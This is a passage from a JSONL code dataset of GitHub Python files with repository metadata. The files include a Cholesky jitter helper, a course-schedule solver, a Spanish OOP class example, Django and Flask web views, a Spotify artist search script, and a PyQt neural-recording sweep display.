** jitter_exponent_up`\n \"\"\"\n\n assert len(val.shape) == 2, \"val has to be two-dimensional\"\n\n if is_numpy(val):\n eye = np.eye(val.shape[-1])\n elif is_torch(val):\n eye = torch.eye(val.shape[-1])\n else:\n assert False, \"A is neither NumPy nor Torch tensor\"\n\n val_jittered = val\n jitter_exponent = jitter_exponent_lo\n while jitter_exponent <= jitter_exponent_up:\n try:\n if is_numpy(val_jittered):\n np.linalg.cholesky(val_jittered)\n elif is_torch(val_jittered):\n torch.linalg.cholesky(val_jittered)\n else:\n assert False, \"val_jittered is neither NumPy nor Torch tensor\"\n break\n except (LinAlgError, RuntimeError) as ex:\n if isinstance(ex, LinAlgError) or \"singular U.\" in getattr(ex, \"args\", [\"\"])[0]:\n if warn_on_jitter:\n warnings.warn(f\"Inverse transformed covariance is singular, adding jitter of 10e{jitter_exponent}.\", UserWarning)\n val_jittered = val + 10 ** jitter_exponent * eye\n jitter_exponent += 1\n else:\n raise ex\n else: # Invoke iff the above loop does not exit with the break but ends regularly.\n raise RuntimeError(f\"A is not positive definite after adding jittering up to 10e{jitter_exponent_up}.\")\n return val_jittered\n","repo_name":"fdamken/random-fourier-series-features","sub_path":"src/rfsf/util/tensor_util.py","file_name":"tensor_util.py","file_ext":"py","file_size_in_byte":9306,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"} +{"seq_id":"5378201716","text":"class CourseSchedule:\n def canFinish(self, numCourses: int, prerequisites: 'List[List[int]]') -> bool:\n graph = {i: [] for i in range(numCourses)}\n in_degree = [0 for _ in range(numCourses)]\n for cur, pre in prerequisites:\n graph[pre].append(cur)\n in_degree[cur] += 1\n finished = [i for i in range(numCourses) if in_degree[i] == 0]\n if len(finished) == 0: return False\n for i in finished:\n for c in graph[i]:\n in_degree[c] -= 1\n if in_degree[c] == 0:\n finished.append(c)\n return numCourses == len(finished)\n","repo_name":"yokolet/tranquil-beach-python","sub_path":"tranquil-beach/graph/course_schedule.py","file_name":"course_schedule.py","file_ext":"py","file_size_in_byte":641,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"} +{"seq_id":"43127076625","text":"# Programación orientada a objetos > Conceptos básicos de POO y UML\n\nclass Gato:\n ''' Crea un objeto del tipo gato con características básicas '''\n # Recibimos la instancia como primer argumento\n # Podemos nombrar al argumento diferente pero por convención usamos self\n def __init__(self, nombre:str, edad:int, peso:float, color:str):\n # VARIABLES DE INSTANCIA\n self.nombre:str = nombre\n self.edad:int = edad\n self.peso:float = peso\n self.color:str = color\n \n # El argumento self se pasa de manera automática\n def detalles(self) -> str:\n ''' Muestra los detalles del objeto tipo gato '''\n return '{} es un gato de {} años color {} que pesa {} kilos.'.format(\n self.nombre,\n self.edad,\n self.color,\n self.peso\n )\n \n def vacunar(self) -> str:\n ''' Regresa en un string cuantos litros de medicamento hay que suministrar a nuestro gato '''\n return 'suministramos {} litros contra la rinotraqueitis'.format(\n # Multiplicamos el peso por un valor fijo\n # ¿Qué pasaría si necesitamos cambiar el valor más adelante?\n self.peso * 0.003\n )\n\ntom = Gato('Tom', 3, 7, 'café')\nprint(tom.vacunar())\n","repo_name":"memelogit/software_design","sub_path":"module1/poo_class_variables_issue.py","file_name":"poo_class_variables_issue.py","file_ext":"py","file_size_in_byte":1277,"program_lang":"python","lang":"es","doc_type":"code","stars":7,"dataset":"github-code","pt":"53"} +{"seq_id":"40785205615","text":"from day09.sequence_finder import RangeFinder\nfrom day09.rolling_numbers import NumberRoller\nfrom helpers import get_data\n\n\ndef main():\n data = get_data(day=9).split(\"\\n\")\n numbers = [int(line) for line in data]\n\n preamble = numbers[:25]\n\n roller = NumberRoller(preamble)\n\n first_invalid = roller.find_first_invalid_number(numbers[25:])\n\n print(f\"First invalid number is {first_invalid}\")\n\n low, high = RangeFinder.find_number_in_range(numbers, first_invalid)\n check_range = numbers[low : high + 1]\n smallest, largest = min(check_range), max(check_range)\n\n answer = smallest + largest\n\n print(f\"Checking the smallest plus largest in range gives {answer}\")\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"cadolphs/advent_of_code_2020","sub_path":"day09/run_day09.py","file_name":"run_day09.py","file_ext":"py","file_size_in_byte":729,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"53"} +{"seq_id":"14778151164","text":"\"\"\" 视图\"\"\"\nfrom datetime import datetime\nfrom django.db.models import Q\nfrom rest_framework.views import APIView\nfrom rest_framework.response import Response\nfrom rest_framework import status\nfrom rest_framework import exceptions\n\nfrom .models import Airplane\nfrom .utils.getdata import getdatescar, getmonthscar\n\nfrom rest_framework.views import APIView\n\n\nclass ScarDateView(APIView):\n \"\"\" 返回伤痕数目\"\"\"\n\n def get(self, request):\n \"\"\"默认获得七天内的伤痕统计\"\"\"\n # 设定默认值\n stop_date = datetime.now()\n start_date = datetime.fromtimestamp(stop_date.timestamp() - 6*24*60*60)\n keyword = Airplane.objects.all().first().TailNumber # 此数值为默认值,设置飞机搜索关键字\n \n begin_time = request.query_params.get(\"start\", start_date)\n stop_time = request.query_params.get(\"stop\", stop_date)\n keyword = request.query_params.get(\"keyword\", keyword) # 获取飞机的搜索关键字\n\n\n airplane = Airplane.objects.filter(Q(TailNumber=keyword) | Q(\n LineNumber=keyword) | Q(AC_ASN=keyword) | Q(AC_Variable=keyword)).first()\n if not airplane:\n raise exceptions.NotFound(\"查找飞机不存在\")\n \n scars = getdatescar(begin_time, stop_time, airplane)\n return Response(scars, status=status.HTTP_200_OK)\n\n\nclass ScarMonthView(APIView):\n \"\"\" 按月份返回伤痕统计 \"\"\"\n\n def get(self, request):\n \"\"\" 根据查询的月份返回数据\"\"\"\n #设置默认参数\n date = datetime.now()\n keyword = Airplane.objects.all().first().TailNumber # 指定默认搜索关键字\n\n # date表示年份加月份,从前端url中取到例如2019-02之类的数据\n date = request.query_params.get(\"date\",date)\n keyword = request.query_params.get(\"keyword\",keyword)\n \n airplane = Airplane.objects.filter(Q(TailNumber=keyword) | Q(\n LineNumber=keyword) | Q(AC_ASN=keyword) | Q(AC_Variable=keyword)).first()\n if not airplane:\n raise exceptions.NotFound(\"查找飞机不存在\")\n \n scars = getmonthscar(date, airplane)\n \n return Response(scars, status=status.HTTP_200_OK)\n","repo_name":"syyuan14/django_restframework","sub_path":"mysql_demo/app01/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":2241,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"} +{"seq_id":"33893280404","text":"#!/usr/bin/env python3\n\n# SEARCH ENGINE\n# \n# Make a non-IPython Notebook that automates browsing for top tracks\n# Prompts for an artist\n# you put it in, displays the results, asks which one you want (numbered)\n# you enter a number\n# It displays their top tracks, then their MOST popular album and their least popular album. if they only have one album it says that they only have one album.\n\nimport requests\n\nartist = input(\"What artist are you looking for? \")\n\n# Get the data from spotify's api\n\nresponse = requests.get('https://api.spotify.com/v1/search?query=' + artist + '&type=artist&country=CH&limit=50')\ndata = response.json()\nartists = data['artists']['items']\n\n# Find the right artist\n\nif len(artists) > 1:\n print(\"I found more than one artist with this name.\")\n counter = 1\n for option in artists:\n print(counter, option['name'])\n counter += 1\n artist_option = int(input(\"Please type in the matching number. \"))\n artist_id = artists[artist_option - 1]['id']\n artist_name = artists[artist_option - 1]['name']\nelse:\n artist_id = artists[0]['id']\n artist_name = artist[0]['name']\n\n# Get the details about the artist.\n\nresponse1 = requests.get(\"https://api.spotify.com/v1/artists/\" + artist_id + \"/top-tracks?country=US\")\ndata1 = response1.json()\ntracks = data1['tracks']\nalbum_list = []\nalbum_names = []\n\nprint(\"\\n\" + \"These are the most popular tracks on Spotify by\", artist_name + \":\\n\")\nfor track in tracks:\n print(track['name'], \"(Popularity:\", str(track['popularity']) + ')')\n\nprint(\"\\n\" + artist_name, \"has the following albums on Spotify:\\n\")\n\ncounter = 0\nfor album in tracks: \n album_list.append(data1['tracks'][counter]['album']['id'])\n album_names.append(data1['tracks'][counter]['album']['name'])\n counter += 1\nalbum_list_short = set(album_list)\nprint(\", \".join(set(album_names)))\n\n# Get albums from Spotify\n\nresponse2 = requests.get(\"https://api.spotify.com/v1/albums/?ids=\" + \",\".join(album_list_short))\ndata2 = response2.json()\nalbums = data2['albums']\n\npop_album = albums[0]\nflop_album = albums[0]\n\n# Calculate top and flop album.\n\nfor album in albums:\n if album['popularity'] > pop_album['popularity']:\n pop_album = album\n elif album['popularity'] < flop_album['popularity']:\n flop_album = album\n\nif len(album_list_short) == 1:\n print(artist_name, \"has only one album listed on Spotify:\", albums[0]['name'] + \".\")\nelse:\n print(\"The album \\\"\" + pop_album['name'] + \"\\\" is the most popular album of\", artist_name, \"on Spotify. \\\"\" + flop_album['name'] + \"\\\" is the least popular.\")\n","repo_name":"thisss/lede12-homework","sub_path":"foundations/05/artists.py","file_name":"artists.py","file_ext":"py","file_size_in_byte":2579,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"} +{"seq_id":"42350357953","text":"import sys\nimport os\nimport numpy as np\nfrom scipy import signal\nimport pyaudio\nimport qtpy\nfrom qtpy.QtGui import QColor\nfrom qtpy.QtWidgets import QDialog, QVBoxLayout, QHBoxLayout, QLabel, QComboBox\nfrom qtpy.QtWidgets import QDialogButtonBox, QCheckBox, QLineEdit, QButtonGroup, QRadioButton\nfrom qtpy.QtCore import Qt, QSharedMemory\nimport pyqtgraph as pg\nfrom cerebuswrapper import CbSdkConnection\nsys.path.insert(0, os.path.join(os.path.dirname(os.path.realpath(__file__)), 'dbsgui'))\n# Note: If import dbsgui fails, then set the working directory to be this script's directory.\nfrom neuroport_dbs.dbsgui.my_widgets.custom import CustomWidget, ConnectDialog, SAMPLINGGROUPS, get_now_time, THEMES, \\\n CustomGUI\n\n# Import settings\n# TODO: Make some of these settings configurable via UI elements\nfrom neuroport_dbs.settings.defaults import WINDOWDIMS_SWEEP, WINDOWDIMS_LFP, NPLOTSEGMENTS, XRANGE_SWEEP, uVRANGE, \\\n FILTERCONFIG, DSFAC, SIMOK, SAMPLINGRATE\n\n\nclass SweepGUI(CustomGUI):\n\n def __init__(self):\n super(SweepGUI, self).__init__()\n self.setWindowTitle('SweepGUI')\n self.plot_widget = {}\n\n def on_action_add_plot_triggered(self):\n group_ix, do_downsample, b_alt_loc = AddSamplingGroupDialog.do_samplinggroup_dialog()\n if group_ix == -1:\n print(\"Add group canceled\")\n return\n\n self.cbsdk_conn.cbsdk_config = {'reset': True, 'get_continuous': True}\n\n group_info = self.cbsdk_conn.get_group_config(group_ix)\n\n if group_info is None:\n raise ValueError(\"No group info retrieved from cbsdk. Are you connected?\")\n\n for gi_item in group_info:\n gi_item['label'] = gi_item['label'].decode('utf-8')\n gi_item['unit'] = gi_item['unit'].decode('utf-8')\n\n # Chart container\n self.plot_widget[(group_ix, do_downsample)] = SweepWidget(group_info,\n group_ix=group_ix,\n downsample=do_downsample,\n alt_loc=b_alt_loc)\n self.plot_widget[(group_ix, do_downsample)].was_closed.connect(self.on_plot_closed)\n\n def on_plot_closed(self):\n del_list = []\n for key in self.plot_widget:\n if self.plot_widget[key].awaiting_close:\n del_list.append(key)\n\n for key in del_list:\n del self.plot_widget[key]\n\n if not self.plot_widget:\n self.cbsdk_conn.cbsdk_config = {'reset': True, 'get_continuous': False}\n\n def do_plot_update(self):\n cont_data = self.cbsdk_conn.get_continuous_data()\n if cont_data is not None:\n cont_chan_ids = [x[0] for x in cont_data]\n for sweep_key in self.plot_widget:\n chart_chan_ids = [x['chan'] for x in self.plot_widget[sweep_key].group_info]\n match_chans = list(set(cont_chan_ids) & set(chart_chan_ids))\n for chan_id in match_chans:\n data = cont_data[cont_chan_ids.index(chan_id)][1]\n label = self.plot_widget[sweep_key].group_info[chart_chan_ids.index(chan_id)]['label']\n self.plot_widget[sweep_key].update(label, data)\n # Comment above and uncomment below to test if trying to exclude cbsdk.\n # for sweep_key in self.plot_widget:\n # for gi in self.plot_widget[sweep_key].group_info:\n # data = np.random.randint(-500, 500, size=(10000,), dtype=np.int16)\n # self.plot_widget[sweep_key].update(gi['label'], data)\n\n\nclass AddSamplingGroupDialog(QDialog):\n \"\"\"\n A modal dialog window with widgets to select the channel group to add.\n \"\"\"\n\n def __init__(self, parent=None):\n super(AddSamplingGroupDialog, self).__init__(parent)\n\n # Widgets to show/edit connection parameters.\n layout = QVBoxLayout(self)\n\n # Chan group layout\n chan_group_layout = QHBoxLayout()\n chan_group_layout.addWidget(QLabel(\"Sampling Group\"))\n self.combo_box = QComboBox()\n self.combo_box.addItems(SAMPLINGGROUPS)\n self.combo_box.setCurrentIndex(SAMPLINGGROUPS.index(str(SAMPLINGRATE)))\n chan_group_layout.addWidget(self.combo_box)\n layout.addLayout(chan_group_layout)\n\n # Check this box to create a new alternate window. This enables viewing the data twice (e.g., filtered and raw)\n self.downsample_checkbox = QCheckBox(\"Downsample\")\n self.downsample_checkbox.setChecked(False)\n layout.addWidget(self.downsample_checkbox)\n\n self.altloc_checkbox = QCheckBox(\"Alt. Location\")\n self.altloc_checkbox.setChecked(False)\n layout.addWidget(self.altloc_checkbox)\n\n # OK and Cancel buttons\n buttons = QDialogButtonBox(\n QDialogButtonBox.Ok | QDialogButtonBox.Cancel,\n Qt.Horizontal, self)\n buttons.accepted.connect(self.accept)\n buttons.rejected.connect(self.reject)\n layout.addWidget(buttons)\n\n @staticmethod\n def do_samplinggroup_dialog(parent=None):\n dialog = AddSamplingGroupDialog(parent)\n result = dialog.exec_()\n if result == QDialog.Accepted:\n # Get channel group from widgets and return it\n return (dialog.combo_box.currentIndex(), dialog.downsample_checkbox.checkState() == Qt.Checked,\n dialog.altloc_checkbox.checkState() == Qt.Checked)\n return -1, False\n\n\nclass SweepWidget(CustomWidget):\n UNIT_SCALING = 0.25 # Data are 16-bit integers from -8192 uV to +8192 uV. We want plot scales in uV.\n\n def __init__(self, *args, **kwargs):\n self._monitor_group = None\n self.plot_config = {}\n self.segmented_series = {} # Will contain one array of curves for each line/channel label.\n # add a shared memory object to track the currently monitored channel to plot its features/depth monitoring\n self.monitored_shared_mem = QSharedMemory()\n\n super(SweepWidget, self).__init__(*args, **kwargs)\n this_dims = WINDOWDIMS_SWEEP\n if 'alt_loc' in self.plot_config and self.plot_config['alt_loc']:\n this_dims = WINDOWDIMS_LFP\n self.move(this_dims[0], this_dims[1])\n self.resize(this_dims[2], this_dims[3])\n self.refresh_axes() # Extra time on purpose.\n self.pya_manager = pyaudio.PyAudio()\n self.pya_stream = None\n self.audio = {}\n self.reset_audio()\n\n self.monitored_shared_mem.setKey(\"MonitoredChannelMemory\")\n # we will pass the range, channel id and do_hp values to the DDUGUI. need 3 numbers, largest needs to be float\n # 3 * 64bit floats / 8bit per bytes = 24 bytes. QSharedMemory allocates an entire page of 4096 bytes, so we're\n # good.\n self.monitored_shared_mem.create(24)\n self.update_shared_memory()\n\n def keyPressEvent(self, e):\n valid_keys = [Qt.Key_0, Qt.Key_1, Qt.Key_2, Qt.Key_3, Qt.Key_4, Qt.Key_5, Qt.Key_6, Qt.Key_7, Qt.Key_8,\n Qt.Key_9][:len(self.group_info) + 1]\n current_button_id = self._monitor_group.checkedId()\n new_button_id = None\n if e.key() == Qt.Key_Left:\n new_button_id = (current_button_id - 1) % (len(self.group_info) + 1)\n elif e.key() == Qt.Key_Right:\n new_button_id = (current_button_id + 1) % (len(self.group_info) + 1)\n elif e.key() == Qt.Key_Space:\n new_button_id = 0\n elif e.key() in valid_keys:\n new_button_id = valid_keys.index(e.key())\n\n if new_button_id is not None:\n button = self._monitor_group.button(new_button_id)\n button.setChecked(True)\n self.on_monitor_group_clicked(new_button_id)\n\n def closeEvent(self, evnt):\n if self.pya_stream:\n if self.pya_stream.is_active():\n self.pya_stream.stop_stream()\n self.pya_stream.close()\n self.pya_manager.terminate()\n super(SweepWidget, self).closeEvent(evnt)\n\n def create_control_panel(self):\n # Create control panel\n # +/- range\n cntrl_layout = QHBoxLayout()\n cntrl_layout.addWidget(QLabel(\"+/- \"))\n self.range_edit = QLineEdit(\"{:.2f}\".format(uVRANGE))\n self.range_edit.editingFinished.connect(self.on_range_edit_editingFinished)\n self.range_edit.setMinimumHeight(23)\n self.range_edit.setMaximumWidth(80)\n cntrl_layout.addWidget(self.range_edit)\n # buttons for audio monitoring\n cntrl_layout.addStretch(1)\n cntrl_layout.addWidget(QLabel(\"Monitor: \"))\n self._monitor_group = QButtonGroup(parent=self)\n none_button = QRadioButton(\"None\")\n none_button.setChecked(True)\n self._monitor_group.addButton(none_button)\n self._monitor_group.setId(none_button, 0)\n cntrl_layout.addWidget(none_button)\n for chan_ix in range(len(self.group_info)):\n new_button = QRadioButton(self.group_info[chan_ix]['label'])\n self._monitor_group.addButton(new_button)\n self._monitor_group.setId(new_button, chan_ix + 1)\n cntrl_layout.addWidget(new_button)\n self._monitor_group.buttonClicked[int].connect(self.on_monitor_group_clicked)\n # Checkbox for whether the audio out should be spike only\n spk_aud_checkbox = QCheckBox(\"Spike Aud\")\n spk_aud_checkbox.stateChanged.connect(self.on_spk_aud_changed)\n spk_aud_checkbox.setChecked(True)\n cntrl_layout.addWidget(spk_aud_checkbox)\n # Checkbox for HP filter\n filter_checkbox = QCheckBox(\"HP\")\n filter_checkbox.stateChanged.connect(self.on_hp_filter_changed)\n filter_checkbox.setChecked(True)\n cntrl_layout.addWidget(filter_checkbox)\n # Checkbox for Comb filter\n filter_checkbox = QCheckBox(\"LN\")\n filter_checkbox.setEnabled(False)\n filter_checkbox.stateChanged.connect(self.on_ln_filter_changed)\n filter_checkbox.setChecked(False)\n cntrl_layout.addWidget(filter_checkbox)\n # Finish\n self.layout().addLayout(cntrl_layout)\n\n def on_spk_aud_changed(self, state):\n self.plot_config['spk_aud'] = state == Qt.Checked\n\n def on_hp_filter_changed(self, state):\n self.plot_config['do_hp'] = state == Qt.Checked\n self.update_shared_memory()\n\n def on_ln_filter_changed(self, state):\n self.plot_config['do_ln'] = state == Qt.Checked\n\n def on_range_edit_editingFinished(self):\n self.plot_config['y_range'] = float(self.range_edit.text())\n self.refresh_axes()\n self.update_shared_memory()\n\n def on_monitor_group_clicked(self, button_id):\n self.reset_audio()\n this_label = ''\n if button_id == 0:\n self.audio['chan_label'] = 'silence'\n monitor_chan_id = 0\n else:\n this_label = self.group_info[button_id - 1]['label']\n self.audio['chan_label'] = this_label\n monitor_chan_id = self.group_info[button_id - 1]['chan']\n\n # Reset plot titles\n for gi in self.group_info:\n plot_item = self.segmented_series[gi['label']]['plot']\n label_kwargs = {'color': 'y', 'size': '15pt'}\\\n if gi['label'] == this_label else {'color': None, 'size': '11pt'}\n plot_item.setTitle(title=plot_item.titleLabel.text, **label_kwargs)\n\n CbSdkConnection().monitor_chan(monitor_chan_id, spike_only=self.plot_config['spk_aud'])\n self.update_shared_memory()\n\n def update_shared_memory(self):\n # updates only the memory section needed\n if self.monitored_shared_mem.isAttached():\n # send data to shared memory object\n self.monitored_shared_mem.lock()\n chan_labels = [x['label'] for x in self.group_info]\n if self.audio['chan_label'] in ['silence', None]:\n curr_channel = float(0)\n else:\n curr_channel = float(chan_labels.index(self.audio['chan_label']) + 1) # 0 == None\n\n curr_range = self.plot_config['y_range']\n curr_hp = float(self.plot_config['do_hp'])\n\n to_write = np.array([curr_channel, curr_range, curr_hp], dtype=np.float).tobytes()\n self.monitored_shared_mem.data()[-len(to_write):] = memoryview(to_write)\n self.monitored_shared_mem.unlock()\n\n def on_thresh_line_moved(self, inf_line):\n for line_label in self.segmented_series:\n ss_info = self.segmented_series[line_label]\n if ss_info['thresh_line'] == inf_line:\n new_thresh = int(inf_line.getYPos() / self.UNIT_SCALING)\n cbsdkconn = CbSdkConnection()\n cbsdkconn.set_channel_info(ss_info['chan_id'], {'spkthrlevel': new_thresh})\n # TODO: If (new required) option is set, also set the other lines.\n\n def create_plots(self, theme='dark', downsample=False, alt_loc=False):\n # Collect PlotWidget configuration\n self.plot_config['downsample'] = downsample\n self.plot_config['x_range'] = XRANGE_SWEEP\n self.plot_config['y_range'] = uVRANGE\n self.plot_config['theme'] = theme\n self.plot_config['color_iterator'] = -1\n self.plot_config['n_segments'] = NPLOTSEGMENTS\n self.plot_config['alt_loc'] = alt_loc\n if 'do_hp' not in self.plot_config:\n self.plot_config['do_hp'] = False\n if 'spk_aud' not in self.plot_config:\n self.plot_config['spk_aud'] = False\n self.plot_config['hp_sos'] = signal.butter(FILTERCONFIG['order'],\n 2 * FILTERCONFIG['cutoff'] / self.samplingRate,\n btype=FILTERCONFIG['type'],\n output=FILTERCONFIG['output'])\n if 'do_ln' not in self.plot_config:\n self.plot_config['do_ln'] = False\n self.plot_config['ln_filt'] = None # TODO: comb filter coeffs\n\n # Create and add GraphicsLayoutWidget\n glw = pg.GraphicsLayoutWidget(parent=self)\n # glw.useOpenGL(True) # Actually seems slower.\n self.layout().addWidget(glw)\n # Add add a plot with a series of many curve segments for each line.\n for chan_ix in range(len(self.group_info)):\n self.add_series(self.group_info[chan_ix])\n\n def add_series(self, chan_info):\n # Plot for this channel\n glw = self.findChild(pg.GraphicsLayoutWidget)\n new_plot = glw.addPlot(row=len(self.segmented_series), col=0, title=chan_info['label'], enableMenu=False)\n new_plot.setMouseEnabled(x=False, y=False)\n\n # Appearance settings\n my_theme = THEMES[self.plot_config['theme']]\n self.plot_config['color_iterator'] = (self.plot_config['color_iterator'] + 1) % len(my_theme['pencolors'])\n pen_color = QColor(my_theme['pencolors'][self.plot_config['color_iterator']])\n\n # Prepare plot data\n samples_per_segment = int(\n np.ceil(self.plot_config['x_range'] * self.samplingRate / self.plot_config['n_segments']))\n for ix in range(self.plot_config['n_segments']):\n if ix < (self.plot_config['n_segments'] - 1):\n seg_x = np.arange(ix * samples_per_segment, (ix + 1) * samples_per_segment, dtype=np.int16)\n else:\n # Last segment might not be full length.\n seg_x = np.arange(ix * samples_per_segment,\n int(self.plot_config['x_range'] * self.samplingRate), dtype=np.int16)\n if self.plot_config['downsample']:\n seg_x = seg_x[::DSFAC]\n c = new_plot.plot(parent=new_plot, pen=pen_color) # PlotDataItem\n c.setData(x=seg_x, y=np.zeros_like(seg_x)) # Pre-fill.\n\n # Add threshold line\n thresh_line = pg.InfiniteLine(angle=0, movable=True, label=\"{value:.0f}\", labelOpts={'position': 0.05})\n thresh_line.sigPositionChangeFinished.connect(self.on_thresh_line_moved)\n new_plot.addItem(thresh_line)\n\n self.segmented_series[chan_info['label']] = {\n 'chan_id': chan_info['chan'],\n 'line_ix': len(self.segmented_series),\n 'plot': new_plot,\n 'last_sample_ix': -1,\n 'thresh_line': thresh_line,\n 'hp_zi': signal.sosfilt_zi(self.plot_config['hp_sos']),\n 'ln_zi': None\n }\n\n def refresh_axes(self):\n last_sample_ix = int(np.mod(get_now_time(), self.plot_config['x_range']) * self.samplingRate)\n for line_label in self.segmented_series:\n ss_info = self.segmented_series[line_label]\n\n # Fixup axes\n plot = ss_info['plot']\n plot.setXRange(0, self.plot_config['x_range'] * self.samplingRate)\n plot.setYRange(-self.plot_config['y_range'], self.plot_config['y_range'])\n plot.hideAxis('bottom')\n plot.hideAxis('left')\n\n # Reset data\n for seg_ix in range(self.plot_config['n_segments']):\n pci = plot.dataItems[seg_ix]\n old_x, old_y = pci.getData()\n pci.setData(x=old_x, y=np.zeros_like(old_x))\n ss_info['last_sample_ix'] = last_sample_ix\n\n # Get channel info from cbpy to determine threshold\n cbsdkconn = CbSdkConnection()\n full_info = cbsdkconn.get_channel_info(ss_info['chan_id'])\n ss_info['thresh_line'].setValue(full_info['spkthrlevel'] * self.UNIT_SCALING)\n\n def reset_audio(self):\n if self.pya_stream:\n if self.pya_stream.is_active():\n self.pya_stream.stop_stream()\n self.pya_stream.close()\n frames_per_buffer = 1 << (int(0.030*self.samplingRate) - 1).bit_length()\n self.audio['buffer'] = np.zeros(frames_per_buffer, dtype=np.int16)\n self.audio['write_ix'] = 0\n self.audio['read_ix'] = 0\n self.audio['chan_label'] = None\n self.pya_stream = self.pya_manager.open(format=pyaudio.paInt16,\n channels=1,\n rate=self.samplingRate,\n output=True,\n frames_per_buffer=frames_per_buffer,\n stream_callback=self.pyaudio_callback)\n\n def pyaudio_callback(self,\n in_data, # recorded data if input=True; else None\n frame_count, # number of frames. 1024.\n time_info, # dictionary\n status_flags): # PaCallbackFlags\n # time_info: {'input_buffer_adc_time': ??, 'current_time': ??, 'output_buffer_dac_time': ??}\n # status_flags: https://people.csail.mit.edu/hubert/pyaudio/docs/#pacallbackflags\n read_indices = (np.arange(frame_count) + self.audio['read_ix']) % self.audio['buffer'].shape[0]\n out_data = self.audio['buffer'][read_indices].tobytes()\n self.audio['read_ix'] = (self.audio['read_ix'] + frame_count) % self.audio['buffer'].shape[0]\n flag = pyaudio.paContinue\n return out_data, flag\n\n def update(self, line_label, data):\n \"\"\"\n\n :param line_label: Label of the segmented series\n :param data: Replace data in the segmented series with these data\n :return:\n \"\"\"\n ss_info = self.segmented_series[line_label]\n n_in = data.shape[0]\n data = data * self.UNIT_SCALING\n if self.plot_config['do_hp']:\n data, ss_info['hp_zi'] = signal.sosfilt(self.plot_config['hp_sos'], data, zi=ss_info['hp_zi'])\n if self.plot_config['do_ln']:\n pass # TODO: Line noise / comb filter\n if self.pya_stream:\n if 'chan_label' in self.audio and self.audio['chan_label']:\n if self.audio['chan_label'] == line_label:\n write_indices = (np.arange(data.shape[0]) + self.audio['write_ix']) % self.audio['buffer'].shape[0]\n self.audio['buffer'][write_indices] = (np.copy(data) * (2**15 / self.plot_config['y_range'])).astype(np.int16)\n self.audio['write_ix'] = (self.audio['write_ix'] + data.shape[0]) % self.audio['buffer'].shape[0]\n\n # Assume new samples are consecutively added to old samples (i.e., no lost samples)\n sample_indices = np.arange(n_in, dtype=np.int32) + ss_info['last_sample_ix']\n\n # Wrap sample indices around our plotting limit\n n_plot_samples = int(self.plot_config['x_range'] * self.samplingRate)\n sample_indices = np.int32(np.mod(sample_indices, n_plot_samples))\n\n # If the data length is longer than one sweep then the indices will overlap. Trim to last n_plot_samples\n if sample_indices.size > n_plot_samples:\n sample_indices = sample_indices[-n_plot_samples:]\n data = data[-n_plot_samples:]\n\n # Go through each plotting segment and replace data with new data as needed.\n for pci in ss_info['plot'].dataItems:\n old_x, old_y = pci.getData()\n x_lims = [old_x[0], old_x[-1]]\n if self.plot_config['downsample']:\n x_lims[1] += (DSFAC - 1)\n data_bool = np.logical_and(sample_indices >= x_lims[0], sample_indices <= x_lims[-1])\n if np.where(data_bool)[0].size > 0:\n new_x, new_y = sample_indices[data_bool], data[data_bool]\n if self.plot_config['downsample']:\n new_x = new_x[::DSFAC] - (new_x[0] % DSFAC) + (old_x[0] % DSFAC)\n new_y = new_y[::DSFAC]\n old_bool = np.in1d(old_x, new_x, assume_unique=True)\n new_bool = np.in1d(new_x, old_x, assume_unique=True)\n old_y[old_bool] = new_y[new_bool]\n # old_y[np.where(old_bool)[0][-1]+1:] = 0 # Uncomment to zero out the end of the last seg.\n pci.setData(x=old_x, y=old_y)\n # Store last_sample_ix for next iteration.\n self.segmented_series[line_label]['last_sample_ix'] = sample_indices[-1]\n\n\ndef main():\n from qtpy.QtWidgets import QApplication\n from qtpy.QtCore import QTimer\n _ = QApplication(sys.argv)\n aw = SweepGUI()\n timer = QTimer()\n timer.timeout.connect(aw.update)\n timer.start(1)\n\n if (sys.flags.interactive != 1) or not hasattr(qtpy.QtCore, 'PYQT_VERSION'):\n QApplication.instance().exec_()\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"simonoxen/NeuroportDBS","sub_path":"neuroport_dbs/SweepGUI.py","file_name":"SweepGUI.py","file_ext":"py","file_size_in_byte":22676,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"53"} +{"seq_id":"9529915385","text":"from flask_app import app\nfrom flask import render_template, request, redirect, session, flash\nfrom flask_app.models import recipe_methods, user_methods\n\nfrom flask_bcrypt import Bcrypt\nbcrypt = Bcrypt(app)\n\n\n\n@app.route(\"/recipes/new\")\ndef create_recipe():\n if 'user_id' not in session:\n return redirect(\"/\")\n return render_template(\"add_recipe.html\")\n\n@app.route(\"/recipes/create\", methods = [\"POST\"])\ndef create_recipe_process():\n if 'user_id' not in session:\n return redirect(\"/\")\n if not recipe_methods.Recipe.validate_recipe(request.form):\n print(\"Could Not Save Recipe\")\n return redirect(\"/recipes/new\")\n data={\n \"user_id\" : session['user_id'],\n \"name\" : request.form['name'],\n \"description\" : request.form['description'],\n \"instructions\" : request.form['instructions'],\n \"date_cooked\" : request.form['date_cooked'],\n \"cook_time\" : request.form['cook_time'],\n }\n recipe_methods.Recipe.add_recipe(data)\n print(\"Recipe Saved\", \"request.form\", request.form)\n return redirect(\"/recipes\")\n\n@app.route(\"/recipes\")\ndef get_all_recipes():\n if 'user_id' not in session:\n return redirect(\"/\")\n data = {\n \"id\" : session['user_id'],\n }\n return render_template('recipes.html', all_recipes = recipe_methods.Recipe.get_all_recipes_with_users(), current_user = user_methods.User.get_one_user_by_email(data))\n\n@app.route(\"/recipes/\")\ndef view_recipe(id):\n if 'user_id' not in session:\n return redirect(\"/\")\n session['recipe_id'] = id\n data = {\n \"id\" : id\n }\n return render_template(\"view_recipe.html\", recipe = recipe_methods.Recipe.get_one_recipe(data))\n\n@app.route(\"/recipes/edit/\")\ndef edit_recipe(id):\n if 'user_id' not in session:\n return redirect(\"/\")\n data = {\n \"id\" : id\n }\n return render_template(\"edit_recipe.html\", recipe = recipe_methods.Recipe.get_one_recipe(data))\n\n@app.route(\"/recipes/update/\", methods = [\"POST\"])\ndef edit_recipe_process(id):\n if 'user_id' not in session:\n return redirect(\"/\")\n data = {\n \"id\" : id,\n 